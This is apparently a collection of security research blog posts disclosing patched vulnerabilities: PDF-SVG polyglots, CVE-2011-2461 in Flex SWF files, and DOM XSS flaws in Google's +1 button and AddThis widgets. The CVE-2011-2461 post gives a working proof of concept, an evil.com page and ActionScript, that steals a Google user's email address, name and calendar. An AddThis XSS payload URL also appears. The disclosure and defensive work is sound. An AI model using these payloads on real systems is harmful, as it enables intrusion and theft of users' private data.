PDF-based polyglots through SVG images (CVE-2015-5092)

Many vulnerabilities in Adobe Reader were recently patched in APSB15-15; the security update addresses a vulnerability (CVE-2015-5092) that we responsibly reported to Adobe PSIRT in April 2015. 

The vulnerability consists in a bypass to the PDF content smuggling countermeasure, which Adobe introduced in January 2013 to address PDF-based polyglots. In fact, it was possible to craft PDF-SVG Polyglots which were correctly read both by Adobe Reader (as a PDF document) and by SVG interpreters (as an image).
Such technique could be useful when facing some very specific scenarios, such as: 

• Web application allowing SVG images uploads and validating them through a robust (SVG-)XSS filter 
• Web application allowing SVG images uploads and relying only on Content Security Policy for protecting against XSS

In both the cases, we are assuming that genuine PDF files uploads are prohibited; in the second scenario we are considering the presence of a server-side SVG parser which verifies that the supplied image is at least well-formed.
Although we all know that allowing SVG files uploads is sufficient for being vulnerable to Stored XSS, this should not be correct in presence of a robust (SVG-)XSS filter, validating untrusted images. In such circumstance, uploading a PDF-based polyglot would permit to bypass the SVG filtering procedure and steal private data by abusing same-origin requests, carried out from the PDF context.
In case of XSS protection achieved through CSP instead, inline JavaScript execution is disabled by default; however, this assumption was not observed in some browsers, when accessing polyglots which evaluated JavaScript code from the PDF context, instead of the SVG one.

Although some limitations are in place when dealing with such vulnerability, it is worth sharing since it turns out quite fascinating from a security research perspective. 

First, the vulnerability introduces a potential bypass in tight SVG filters, which accept comments without inspecting their content; moreover, the issue proves destructive when compared with the efforts required for building and testing filters; consider for instance the case of MediaWiki which progressively built a robust filtering procedure against user supplied SVG images. 

Secondly, polyglots get interesting when dealing with Content Security Policy, especially in case of missing explicit policy directives, by blindly trusting default-src. 

Here follows the related paper containing all the details and proof of concepts.

PDF-based polyglots through SVG images from mindedsecurity

At this point it is important to consider that default installations of Firefox, Chrome and Opera do not use Adobe Reader for rendering PDF files; therefore, potentially affected users are the ones who modified their browser settings in order to use Adobe Reader instead of the default built-in reader. In addition, note that Chrome is going to disable NPAPI support. 

Eventually, this issue makes us consider again the risks involved in file uploads, and more generally in content hosting; content sanitization proves insufficient, therefore the usage of sandboxed domains is obviously the suggested design choice to operate the expected isolation and mitigate all the involved risks. However, since SVG images can be deployed in many different ways, further observations should be made on this basis.

Users are recommended to update Adobe Reader to version 11.0.12; in addition, blacklisting %PDF- in SVG filtering procedures would be a plus for protecting users using older Reader versions. From the CSP perspective, instead, setting object-src and plugin-types to 'none' would probably be helpful for protecting against similar polyglot-based attacks.

Exploiting CVE-2011-2461 on google.com

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:

- The victim is logged on google.com, and visits a malicious website

- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)

- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)

- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.

Proof of Concept

Here follow the PoC files.

http://evil.com/poc/test.html

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>

http://evil.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

http://evil.com/poc/URLr_google.swf (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();
}

public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}

private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}

private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}

private function completeHandlerCalendar(event:Event):void {
getAgenda();
}

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}

By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:

• Gmail address
• FirstName
• LastName
• Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:

1. 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
2. 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
3. 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.

Brought to you by Mauro Gentile and Luca Carettoni

The old is new, again. CVE-2011-2461 is back!

On March 19th @ Troopers 2015, me (Mauro Gentile) and Luca Carettoni presented an in-depth study on a very fascinating bug affecting old versions of Adobe Flex SDK.

For the sake of precision, this is a cross-post of the NibbleSec post.

Although Adobe patched the bug in 2011, it is still possible to exploit vulnerable SWF applications in fully patched web browsers with the latest version of Adobe Flash Player; successful exploitation leads to Same-Origin Request Forgery and Cross-Site Content Hijacking.

The particularity of (CVE-2011-2461) is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plug-in.

We conducted a large scale analysis against many high-profile web sites and we found out that a considerable portion is still hosting vulnerable Flex applications.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details.

The Issue

Starting from Flex version 3, Adobe introduced runtime localizations.

A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. 

Any component that extends UIComponent, Formatter, Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. 

ResourceManager exposes by default a property that can be controlled by an attacker via a specific Flash Variable: resourceModuleURLs.

Adobe Flex SDK (between 3.x and 4.5.1) is affected by such issue, since the parent SWF file loads the child module, and sets its SecurityDomain to SecurityDomain.currentDomain.
Obviously, this leads to:

• Same-Origin requests forgery
• Flash XSS (in older versions of the Flash player).

An attacker would need to embed the following content on a malicious HTML page and change resourceModuleURLs value to the malicious resource, such as http://at.tack.er/malicious.swf.

The Impact: Same-Origin Request Forgery

When successfully exploited a Same Origin Request Forgery attack allows a malicious web site to perform arbitrary requests to the vulnerable site, and read its response without restrictions.

In our case, it is possible to force the affected Flash movies to perform arbitrary requests to the hosting server and return the responses back to the malicious Flash file.

Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.

Slides deck

The old is new, again. CVE-2011-2461 is back! from ikkisoft

 

Detecting vulnerable Flex apps

We developed ParrotNG, an open-source Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. It can be used both as a command line tool and as a Burp Pro Passive Scanner Plug-in.
You can download it from https://github.com/ikkisoft/ParrotNG/ - refer to the "How to Use" section in the README.md for further details.

How to protect

After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:

• Recompile them with the latest Apache Flex SDK, including static libraries;
• Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
• Delete them, if not used anymore.

Public release of the OWASP TESTING GUIDE v4

17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.

 

 

The OWASP Testing Guide includes a "best practice" penetration testing framework which users can implement in their own organizations and a "low level" penetration testing guide that describes techniques for testing most common web application and web service security issues.

You'll notice several changes between v3 and v4. Some sections have been renamed, removed or reworked, but overall the OWASP Testing Guide version 4 improves on version 3 in three ways:

1. This version of the Testing Guide integrates with the two other flagship OWASP documentation products: the Developers Guide and the Code Review Guide. To achieve this we aligned the testing categories and test numbering with those in other OWASP products. The objective of the Testing and Code Review Guides is to evaluate the security controls described by the Developers Guide.

2. All chapters have been improved and test cases expanded to 87 (64 test cases in v3) including the introduction of four new chapters and controls:
- Identity Management Testing
- Error Handling
- Cryptography
- Client Side Testing

3. This version of the Testing Guide encourages the community not to simply accept the test cases outlined in this guide. We encourage security testers to integrate with other software testers and devise test cases specific to the target application. As we find test cases that have wider applicability we encourage the security testing community to share them and contribute them to the Testing Guide. This will continue to build the application security body of knowledge and allow the development of the Testing Guide to be an iterative rather than monolithic process.

As OWASP continues to improve tools and documentation, we'd like to ask you to support OWASP to reach the following goals:

Continuously improve the guide.
The Guide is a "live" document: we always need your feedback! Tell us what you love. Tell us what you love less.
Please join our testing mailing list and share your ideas:
http://lists.owasp.org/mailman/listinfo/owasp-testing

Promote the Testing Guide.
We would like to have some more media coverage on the Guide, so please, if you know somebody that can help please put them in touch with us.
If you have the chance, you can write an article about the Testing Guide and other new OWASP Projects.

Add 'quotes' to the Guide.
We made a special 'quotes' pages for the Testing Guide.
Here we'd link you to add comments and references to the Guide.
http://www.owasp.org/index.php/OWASP_Testing_Guide_Quotes

Download or browse the Guide now from:

- https://www.owasp.org/images/1/19/OTGv4.pdf

- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

 

A big thank you to all the contributors and reviewers!

DOMinatorPro with Martin Hall at London Tester Gathering Workshops 2013

Martin Hall will give a talk "Bug Hunting for Fun and Profit" at the London Tester Gathering Workshops 2013.

http://skillsmatter.com/event/agile-scrum/ltg-workshops

During his presentation Martin will show a demo of DOMinatorPRO Standard and you will have the chance to try our product.

Martin will be showing how you can have fun, gain fame and money finding issues in software and websites you use every day. He'll also be showing you some of the basic tips and techniques that will enable you to become a great "Bounty Hunter". 

More information here:
http://skillsmatter.com/podcast/agile-scrum/martin-hall

Martin Hall is a Senior SDET Lead at Microsoft (Skype Division)

Thank Martin for your support!

Real Life Vulnerabilities Statistics: an overview

From time to time, it is useful for a consulting company like us to stop, look back and think about what has been done in the last few years. This is important because:

• the company can identify the categories where internal skills need to be improved;
• the company is able to know in advance which areas are more flawed for specific customers. 

In addition to these considerations, we thought that these data would have been useful for the new release of the OWASP Top Ten project. 

For this reason, we collected all our reports from 2010 until 2012 and performed a statistical analysis that, in conjunction with other contributors' results, will help the new OWASP Top Ten to better fit these times and to keep track of differences from previous versions.

We started the analysis by splitting vulnerabilities in two main categories:

• Web Application Penetration Test (WAPT)
• Secure Code Review (SCR). 

The following histograms are the result of counting the occurrences of each vulnerability ordered by frequency and shown in percentage.

SCR vulnerabilities percentage

WAPT vulnerabilities percentage

We think this can help to understand how the results presented from the OWASP Top Ten 2013 were obtained. Also it is an overview of what we find during our consulting assessments. 

Finally, to give more expressiveness to these data, here are them according to their testing category (as described in the OWASP Tesing Guide) in order to know which areas are more vulnerable:

SCR areas of analysis percentage

WAPT areas of analysis percentage

DOM XSS on Google Plus One Button

Introduction

DOMinatorPro can be very useful to find DOM Based XSS on complex JavaScript web applications. This post will describe a Cross Origin Resource Sharing (CORS) abuse exploiting a flaw in the JavaScript Plus One code on plus.google.com.
Just to be clear, yes, it's the +1 button present on billions of pages around the internet.
The issue affected the context of https://plus.google.com which is the context of the social network.

Before going further with any details, a picture is worth a thousand words:

In order to better explain the issue and show how DOMinatorPro helped me in finding the problem, and since a video is worth a thousand pictures, I recorded a video on Youtube MindedSecurity channel.

In the video I deliberately chose to not show a single line of JavaScript in order to demonstrate what DOMinatorPro can do for a tester with little knowledge of JavaScript.

In this post, on the other hand, I'd like to discuss about how the input was treated and how Google fixed the issue with input validation.

Code Issue Details

The offending URL in a simplified version was:

https://plusone.google.com/_/+1/fastbutton?url=http://www.example.com&ic=1&jsh=m;/_/apps-static/_/js/gapi/__features__/rt=j/ver=ZZZZ/sv=1/am=!YYYY/d=1/rs=XXX

First of all, a throw "Bad URL " exception can be spotted on line 425, which actually controls for the presence of multiple callbacks (/cb=/) in 'l' variable and  for the presence of classic  /[@"'<>#\?&%]/ metacharacters in 'ga'. If some of those conditions are satisfied then an exception (Bad URL) is thrown. 
That is called data validation.
 

420 d = m.split(";");
421 d = (i = M[d.shift()]) &&  i(d);
422 if (!d) throw "Bad hint:" + m;
423 i = d = d[q]("__features__", T(r))[q](/\/$/, "") + 
                   (e[s] ? "/ed=1/exm=" + T(e) : "")
                   + ("/cb=gapi." + J);
424 l = i.match(ha); // "https://apis.google.com/TAINTED/cb=gapi.loaded_0".match(/\/cb=/g)
425 if (!l || !(1 === l[s] && 
                 ga[p](i) && !fa[p](i)))
                      throw "Bad URL " + d;
426 e[k].apply(e, r);
427 L("ml0", r, I);
428 c[R.f] || t.___gapisync ?
     (c = d, "loading" != u.readyState ? 
     W(c) :
     u.write("<" + S + ' src="' + encodeURI(c) + '"></' + S + ">")) :
     W(d, c, J) 
....

Line 428 is the call to the function that performs a XMLHttpRequest. By following the flow on Line 532 (beautified) the 'l' variable is tainted and it's the one that is traced by DOMinatorPro, originating by the location.href jsh parameter:

starting from: jsh=m;/_/apps-static/_/js/gapi/....

becomes "https://apis.google.com/_/apps-static/_/js/gapi/..../cb=gapi.loaded_0" and l[q] is the replace function :

function W(){
...
531 a = v.XMLHttpRequest,
532 l = l[q](/^https?:\/\/[^\/]+\//, "/"), 
533 m = new a;
534 m.open("GET", l, f)
...
}

So on line 532 https://apis.google.com/ is removed and 'l' becomes:

"/_/apps-static/_/js/gapi/..../cb=gapi.loaded_0"

The reason why there is execution is that the response is evaluated using the following code:

B=function(a,b,c){v.execScript?v.execScript(b,"JavaScript"):c?a.eval(b):
 (a=a.document,c=a.createElement("script"),c.defer=i,
 c.appendChild(a.createTextNode(b)...

Now, about the fix, I suggested Google to perform some input validation using A tag properties,

var aa=document.createElement("a");
aa.href=untrustedURL;

and then use aa.pathname to be sure it's the browser doing the parsing job but probably it does not work perfectly for all browsers.

In fact Google devs decided to add more data validation

if (!l || !(1 === l[v] && ha[q](d) && 
            ga[q](d) && h && 1 === h[v]))
  throw "Bad URL " + a;

that code changes one check and adds another condition, to the previous one we already discussed.
In particular:

 
ga[q](d) changes from /[@"'><#\?&%]/ (blacklist) 
                 to  /^[\/_a-zA-Z0-9,.\-!:=]+$/ (whitelist)
 
And  
1 === h[v] has been added and means if there is 
            only one "//"  (like http://  )

Which seems pretty solid to me, at least in the context of this specific issue; of course, bypasses are always around the corner, but I'm sure Google security guys took the best effort to be sure it's safe!

Conclusions

DOM Based XSS still remains quite untested, and that's because JavaScript is not easy to analyze in complex scenarios.
DOMinatorPro can really help in finding issue in the easy-to-hard-to-identify range of DOM Based XSS category, because DOMinatorPro is not as simple as you might think, it's a complex piece of software and with a large knowledge base in it.

Stored DOM Based Cross Site Scripting

Since the very first release of DOMinatorPro, there is an 'S' little button in the right down corner:

Q: What does it mean?
A: First of all, I'd say, it actually means that there's another feature that makes DOMinatorPro a bleeding edge tool for finding DOM Based XSS :).

The Stored Strings tainting is a very interesting feature that DOMinatorPro implements for tracking stored DOM Based Cross Site Scripting issues.

Think about the following scenery.

Pseudo code:
  setName.do

String name=getFromParameter("name");
   saveOnDB(name);

  getName.do

String name = getNameFromDB();
// escape the source (name) from DB so no stored XSS is there
   String jsEscape=encodeForJavaScript(name); 
   print "<script>\n";
// No problem here since it's escaped.
   print "var aname='({\"aName\":\""+jsEscape+"\"})';";
   print "eval(aname);\n";
   print "</script>";

So we'll get in the getName.do page :

..
<script>
 var aname='({"aName":"PATTERN"})'; 
 eval(aname);
</script>
..

At this point you surely understand the issue in the flow:

Step 1. Attacker sends name=PATTERN

  

Step 2. Victim visits a page with the flawed Js.

The attacker can't directly get out from the string since it's supposed to be correctly escaped, so that a payload like name=testPATTERN"'> will become:

var aName="testPATTERN\x22\x27\x3c";
..

Which is not directly exploitable, but if that same variable is used as argument for a Function or eval, or innerHTML or some of the sinks described on DOMXSS Wiki (contribute please), then it's an exploitable issue.

No existing tool is able to trace patterns like that during JavaScript execution but DOMinatorPro.
What the tester has to do is to turn on tainting on Stored Strings and set the pattern which has to be traced using the settings:

Finally, the user will just have to create the scenario by browsing the application with DOMinatorPro.
And she'll get some output like the following:

Where StoredTainted is the constant string transformed as tainted on the fly.

There are several interesting possibilities by using the tainted stored strings, like applying the same checks on responses from XMLHttpRequests.
But that's food for another blog post.

Feedbacks  are, as usual really welcome!

Ps. If you're a licensed user remember to update the DOMinatorPro Extension to the latest one from your dominator downloads page.

Two updates for DOMinatorPro Suite

As some of you already knows DOMinatorPro Suite consists in two parts, one opensource named DOMinatorCore,based on Mozilla Firefox, hosted on GitHub and a commercial, proprietary AddOn named DOMinatorPro Extension.

Before all words and phrases, here's a MacOs screenshot anticipation of the fully updated DOMinatorPro Suite:

Some very interesting new features have been added, I really hope you'll be interested in trying them.
Bottom line: new versions of both pieces of the suite are out and here is the list of changes.

DOMinatorCore 

Product: DOMinatorCore
Date: 06/10/2012
Version: 0.9.6

• Finally a MacOs version is available for download!Register or go to your DOMinatorPro personal page and download it!
• A small but significant improvement in taint propagation  about the creation on the fly of objects via JSON or eval result in tainted values or key name.

var TaintedString='{"k1":"V1PATTERN","k2PATTERN":"V2"}';
var newObj = eval('('+TaintedString+')');
//Obj.keys(newObj)[1].tainted & newObj.k1.tainted are now true; 
Object.keys(newObj).map(
    function(a,b) {
     console.log(a,a.tainted,newObj[a],newObj[a].tainted)
    }
  )

Where PATTERN is a customizable RegEx pattern that triggers the creation of Tainted Stored Strings. We'll blog about the so called Tainted Stored Strings in the next days.
Previously, it would have been triggered only the eval alert on the Stored String if the PATTERN matched.

DOMinatorPro Extension

DOMinatorPro Extension on the other hand has important changes.

Product: DOMinatorPro Extension
Date: 06/10/2012
Version: 0.9.1.2

Tainting

• ResponseText can be now set as tainted according to Stored Taint functionality.
• Fixed Firefox bug about location.pathname
• Added checks for uncontrollable inputElements like checkbox or radio buttons.
• Fixed jQuery double log for some sink
• jQuery alerts are shown with jQuery version used, since it can make the difference.
• Improved jQuery tests and noconflict wrap.
• location.pathname now returns the pathinfo part with ';'.
• Hidden and unusable input tag values are now exluded from sources (radio buttons, textbox)

Analysis Engine

• Improved url building algo in the fuzzer.
• Experimental Regular Expression check for False Negative / False Positives.

User Interface

• Now DOMinatorPro has a starting page about:dominator.
• DOMinatorPro Settings UI are now exposed.
• We are now able to remove selected results from the log.
• Removed StackTrace Button since it's handled automatically by sink events.

Automation

• Added first support to selenium.
• Remote Alerting send Native JSON.

Knowledge base

• Knowledge base improvements. 

Most of the changes in the code probably should require a blog post and a video. I'll try to cover some of the more interesting parts about them in the next days!

For any question or request feel free to drop us a line at dominator at mindedsecurity dot com.

Ps. Maybe some already registered trial user will complain about the impossibility to download the addon update, you can download the full suite which comes with a version close to the up to date.

OWASP Italy Day 2012: CFP and is open!

Thanks to the collaboration with the University of Rome La Sapienza, we are pleased to announce that the OWASP Italy chapter will host the OWASP Italy Day 2012 conference in Rome, Italy next 23rd November 2012.

Call For Paper is now open:

OWASP solicits contributions on the above topics, or general matters of interest to the community. Those who are interested in participating as speakers to the conference can submit an abstract of the speech to the OWASP-Italy Board by email at: OWASP Italy
The email subject must be "OWASP Italy Day 2012: CFP" and the email body must contains the following information/sections:

- Name and Surname
- Email address
- Telephone number
- Company name and role
- Short biography(max 100 words)
- List of the author's previous papers/articles/speeches on the same topics
- Title of the contribution
- Type of contribution: Technical or Informative
- Abstract
- Why the contribution is relevant for OWASP-Italy Day 2012

Areas of interest: - Mobile Security: testing, developing, threats - Malware Security and Mobile - New researches on Application Security

The submission will be reviewed by the OWASP-Italy Board and the 8-9. most interesting ones will be selected and invited for presentation (30 minutes for slot).

Important dates:

Contributions submission deadline: 30th October 2012

Additional information:

OWASP Speaker Agreement
About OWASP

Official site and more information here.

Analysis of Dom Xss vulnerability in a Facebook Like Button implementation

Note: The following vulnerability is now patched. Thanks to Matt, Charlie and to the Addthis.com team that released a patch yesterday after receiving our advisory.

Description

I like very much facebook, and I like clicking on facebook like buttons like the one below. Addthis.com has its own implementation of Facebook Like Button and is very used among internet websites. They estimate that unique websites around the world are several millions.

A Facebook Like Button in a Share Widget Bar:

You can find some background information already in one of our previous posts:

•    http://blog.mindedsecurity.com/2012/09/temporary-patch-for-dom-xss-0day-in.html

Proof of Concept

http://www.website-with-addthis-widget.con/#"></fb:like><img/src="aaa"/onerror="alert('DomXss Found!')

Note: This reflected dombased cross site scripting (before the patch) was present in a tremendous number of websites

Vulnerable Code

if (F.href === _1) {
d = _8.util.clone(E.share.url_transforms || {});
d.defrag = 1;
F.href = _8.track.mgu(E.share.url, d);//-- Location
}
for (A in F) {
B += " " + A + "=\"" + F[A] + "\"";//-- Attribute Set
}
if (!E.share.xid) {
E.share.xid = _8.util.cuid();
}
f[F.href] = {};
for (A in E.share) {
f[F.href][A] = E.share[A];  
}
G.innerHTML = "<fb:like br="br" 
ref="\">_8.share.gcp(E.share, E.conf,".like").replace(",", "_") 
+ "\" " + B + "</fb:like>"; //-- DomXss
p(G);

Analysis and discovery with DOMinatorPro

Even if to the reader this issue seems like a common cross site scripting, finding such kind of security issues in Javascript code (aka DomXss) is an extremely complex task.

This is why our Advanced Research team developed DOMinatorPro. DOMinatorPro can be downloaded from the following dedicated website: http://dominator.mindedsecurity.com.

DOMinatorPro is a Free Opensource Project with Commercial Extensions. Commercial extensions have a 15 days Free Trial Period.

The vulnerability was in ONE of the scripts loaded by the “addthis_widget.js”  script available online at “http://s7.addthis.com/js/300/addthis_widget.js”. As you can see multiple scripts are loaded and the scripts are compressed and obfuscated , giving to human security reviewers a painful and a very long and time comsuming task to accomplish.

Note: The following part is taken from the DOMinatorPro user manual and shows a similar vulnerability in a demo context. In DOMinatorPro user manual you can find sample cases to help you understand the cause of the vulnerability for producing solid Javascript patches.

By the way, when browsing to a website with a vulnerable “Facebook - Like Button” with DOMinatorPro tool you will see in a couple of seconds the following alert:

From the previous screenshot the very interesting information is that you got an HTML Injection (e.g. Cross Site Scripting) from the location.href (e.g. the URL).
Important Note: Sink describes where the vulnerability is and the Source is where the controllable input comes from.
 
Summary of the issue: HTML injection vulnerability coming from a user supplied input location.href (URL). 

 Source History

Next step is to check where this issue has been found. This is easy, looking at the source history:

Exact location of the issue is: 

• http://www.vulnerablewebsite.con/webpage.aspx?menuid=3#injectedstring<>”’

Source history is a simplified call stack that shows the content of controllable strings.
Location.href can be controlled and the value is showed up in light green, after this string is concatenated with another string by left and by right.
As it is possible to see from the above picture, it’s also possible to check if there are validator functions in place by injecting HTML patterns after the # (hash); in this case I injected the pattern #injectedstring<>”’ after the vulnerable URL. Using the “Hash” sign is important because anything coming after it will not be sent to the server.
It’s possible to see from the last line that #injectedstring<>"' is not encoded (typical encoded string is in the form of: #injectedstring%3c%22%27).
By supplying now the correct exploit it is possible to turn the vulnerability into a reflected DOM cross site scripting attack:
 
Standard HTML Injection Payload: 

• <img/src="aaa"/onerror="alert('DomXss Found!')">

Important Note: Thanks to DOMinatorPro Browser emulation feature we can mimic different browser insecure behaviors. This permits to show developers the vulnerability inside DOMinatorPro/Firefox, even if the previous exploit works only under Internet Explorer.

Call Stack 

Now for a developer it is time to open the “Call Stack”:

The Call Stack interactively shows where the vulnerability is with the correct line. It is possible to see “document.location.href” is not escaped properly.
It’s very important to output encode the value before it is displayed.

Fixing

Correct fixing at line 116:
•    Use the “encodeURIComponent()” function.

Temporary Patch for a Dom Xss 0day in Addthis.com Widgets

Note: Addthis.com fixed this issue yesterday 26/09/12 thanks to Addthis.com team for fixing it so rapidly!


Including a Javascript code in your homepage from another Website is a very common practice.

"Third party scripts are a hidden-potential security threat"

Addthis.com for example provides very useful scripts to help enhancing a website with the most used social media networks. From Wikipedia: “ AddThis is a widely used social bookmarking service that can be integrated into a website with the use of a web widget. Once it is added, visitors to the website can bookmark an item using a variety of services, such as Facebook, MySpace, Google Bookmarks, Pinterest, and Twitter.[2]”.

AddThis social plugins and analytics are used by "over 14 million sites worldwide” (2007).

You just need to “add this”:

There are many advantages in doing this:
•    code will be updated by the maintainer
•    bugs will be fixed silently
•    … many others

Unfortunately it also hides several drawbacks:

•    Security vulnerabilities in referenced scripts will affect your website

During the past year we analyzed many Javascript codes belonging to tracking cookies. Some of those analysis have been pretty interesting. During 2011 we reported for example several issues in Omniture Catalyst Javascript code, with documented proof of concept code (http://blog.mindedsecurity.com/2011/04/god-save-omniture-quine.html)

The DomXss Vulnerability

DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

More information about DomXss vulnerabilities can be found here:
•    https://www.owasp.org/index.php/DOM_Based_XSS
•    http://code.google.com/p/domxsswiki/wiki/Introduction

DomXss in Addthis.com Widgets

Details of the vulnerability have been temporarily omitted because the number of affected websites is huge. We did this for giving enough time to the vendor for fixing the issues (full details have been sent to [email protected]).

Note from 26/09: Investigating further, it seems that vulnerability is not always triggered; this may depends from the templates used
Note from 27/09: Details about the issue can be found here

• http://blog.mindedsecurity.com/2012/09/analysis-of-dom-xss-vulnerability-in.html

Vulnerability has been found using DominatorPro, our DomXss Analyzer. Dominator is an opensource project with several extensions (some of these are commercial) and can be downloaded for free at

• http://dominator.mindedsecurity.com

A temporary patch

You can make this temporary patch by configuration for protecting your website in the meantime that the vulnerable code will be fixed. Note: this patch is not for the vulnerability itself but will prevent it from being easily exploited.

To patch a vulnerable AddThis.com Widget manually populate the following property:

•    addthis:url

For more information visit:

• http://support.addthis.com/customer/portal/articles/381242-url-title

 

Example:

 
...
<div addthis:url="http://example.com" class="addthis_toolbox addthis_default_style" nbsp="nbsp"> 
...

If you don’t add this, you are potentially vulnerable. 

Expression Language Injection

Think about implementing a web application that relies several secrets like anti CRSRF tokens, random seeds used for password generation and so on...

If the implementation is based on Spring MVC framework and security is important for you, then you should consider reading the paper Expression Language Injection which is the result of a joint research conducted by Stefano Di Paola of Minded Security and Arshan Dabirsiaghi of Aspect Security.

We tried to identify the security impact of a bug in Spring MVC which could lead to double evaluation of Expression Language if an untrusted input is used as the argument of particular attributes.

The research shows that it could result in the exposition of application information which should be kept bounded to the application.

The only information which seems to be still protected is tied to static values and static methods.

If you're interested, enjoy the reading and let us know your impressions.

Unbelievable hacks: Money Transferring with Caller Id Spoofing

Everyone in the security industry easily remembers Kevin Mitnick during his Art of Deception tour, where he showed how to call somebody else displaying a fake incoming phone-number on the receiver’s phone. In that case the phone number of the president of the United States. This is "Caller Id Spoofing" (Kevin Mitnick at CNBC).

Presented by Kevin as a strong weapon in Social Engineering attacks, we discuss it here as a way to bypass authentication checks during money transfer. People usually laugh of nice tricks, but not when the subject is their money.

Phone Call authentication is an emerging way of authenticating money transfers or other types of disposal operations. This particular authentication method has the great advantage of posing zero costs for the organization and for the individuals. In fact as soon as the call is received by the bank, the call is dropped without charging the calling card.

When a customer call the dynamic phone number for authentication too often the only information that is checked is the Caller Id. The standard incoming caller identifier is the information that is displayed on the mobile phone of the phone call receiver.

This set of information can be dangerously used to identify the user that is authenticating a particular transaction. I say dangerously, because the caller id is very prone to tampering as showed several years ago in the workshop “Phreaking in the age of Voice Over Ip”:

Before we start the questions we need to answer are:

1) Is caller ID Spoofing still alive?
2) Does it work in our country? (ex. Italy for us)
